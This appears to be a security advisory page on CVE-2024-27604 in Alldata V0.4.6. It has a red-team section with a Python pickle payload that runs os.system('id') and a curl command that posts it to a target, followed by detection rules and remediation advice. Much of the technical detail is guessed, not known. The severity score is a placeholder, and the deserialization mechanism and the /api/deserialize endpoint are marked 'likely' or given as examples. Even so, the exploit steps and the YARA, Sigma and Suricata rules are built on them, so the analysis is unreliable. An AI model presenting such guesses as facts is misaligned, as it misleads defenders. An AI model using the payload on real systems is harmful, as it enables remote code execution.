CVE-2024-27604

Executive Summary

CVE-2024-27604 identifies a critical command execution vulnerability in Alldata V0.4.6. The flaw stems from insecure deserialization of system commands, allowing an attacker to execute arbitrary commands on the server. With a CVSS score of 0.0 (likely unassigned or placeholder), the actual risk is high due to the potential for full server compromise. No public proof-of-concept (PoC) or patch is currently available, making this a zero-day threat for unpatched instances.

Supply Chain & Package Security

Alldata is a data management platform. This vulnerability affects the core application, not a specific package manager (NPM, PyPI, Go, Ruby). However, if Alldata is deployed via containers or orchestration tools, supply chain risks include compromised base images or dependencies that may facilitate exploitation.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (placeholder; actual severity is high)
• Attack Vector: Network (likely)
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High
• Threat Level: Critical (due to remote code execution potential)

Deep Dive & Mechanics

The vulnerability resides in Alldata V0.4.6's deserialization mechanism. The application deserializes untrusted data without proper validation, allowing an attacker to inject serialized objects that execute system commands. This is a classic insecure deserialization flaw (CWE-502). The attack likely involves sending a crafted serialized payload to an endpoint that processes user-supplied data, leading to arbitrary command execution.

Attack Vector: Remote, unauthenticated. Prerequisites: Network access to an Alldata instance. Impact: Full server compromise, data exfiltration, lateral movement.

Vulnerable vs. Patched Code

No patched version is available. The vulnerable code likely uses a deserialization function (e.g., pickle.loads, yaml.load, or Java ObjectInputStream) without restricting allowed classes. A secure implementation would use safe deserialization methods (e.g., yaml.safe_load, JSON parsing) or implement allowlists.

Vulnerable Code Example (Python-like pseudocode):

import pickle
data = receive_from_user()
obj = pickle.loads(data)  # Insecure

Patched Code Example (hypothetical):

import json
data = receive_from_user()
obj = json.loads(data)  # Safe, no code execution

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy Alldata V0.4.6 in a controlled environment (e.g., Docker container).
2. Identify the vulnerable endpoint (e.g., /api/deserialize).
3. Craft a malicious serialized payload using tools like ysoserial (Java) or pickle (Python).

Exploit Command (Python):

import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('id',))

payload = pickle.dumps(Exploit())
print(payload.hex())

Send the payload to the vulnerable endpoint:

curl -X POST http://target:port/api/deserialize --data-binary @payload.bin

Expected Output: The id command executes, returning user context.

Blue Team

Detection:

• Monitor for unusual deserialization attempts (e.g., large binary payloads in HTTP requests).
• Use WAF rules to block known serialization patterns (e.g., pickle magic bytes \x80\x04).
• Enable logging of all deserialization operations.

Hunting:

• Search for processes spawned by the Alldata service (e.g., cmd.exe, /bin/sh).
• Analyze network traffic for outbound connections from the Alldata server.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests with binary payloads to /api/deserialize or similar endpoints.
• File System: Unexpected files in /tmp or /var/tmp created by command execution.
• Process: Unusual child processes (e.g., bash, powershell) spawned by the Alldata process.
• Logs: Error logs containing deserialization exceptions or command output.

Detection Engineering

YARA Rule

rule CVE_2024_27604_Deserialization {
    meta:
        description = "Detects malicious serialized payloads targeting Alldata V0.4.6"
        author = "Valters IT"
        date = "2024-01-01"
    strings:
        $pickle_magic = { 80 04 95 }  // Python pickle magic bytes
        $java_magic = { AC ED 00 05 }  // Java serialization magic
        $command = "Runtime" nocase
        $exec = "exec" nocase
    condition:
        ($pickle_magic or $java_magic) and ($command or $exec)
}

Sigma Rule

title: CVE-2024-27604 - Alldata Deserialization Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with potential deserialization payloads targeting Alldata
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/deserialize'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate data uploads
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-27604 - Alldata Deserialization Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/deserialize"; http_uri; pcre:"/\x80\x04\x95/"; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Disable or restrict access to the vulnerable endpoint (e.g., via firewall or WAF).
• Short-term: Upgrade to a patched version once available. Monitor vendor advisories.
• Long-term: Implement input validation and use safe deserialization libraries. Conduct code review for similar flaws.
• Compensating Controls: Deploy runtime application self-protection (RASP) to block deserialization attacks.

Valters IT
Securing Digital Frontiers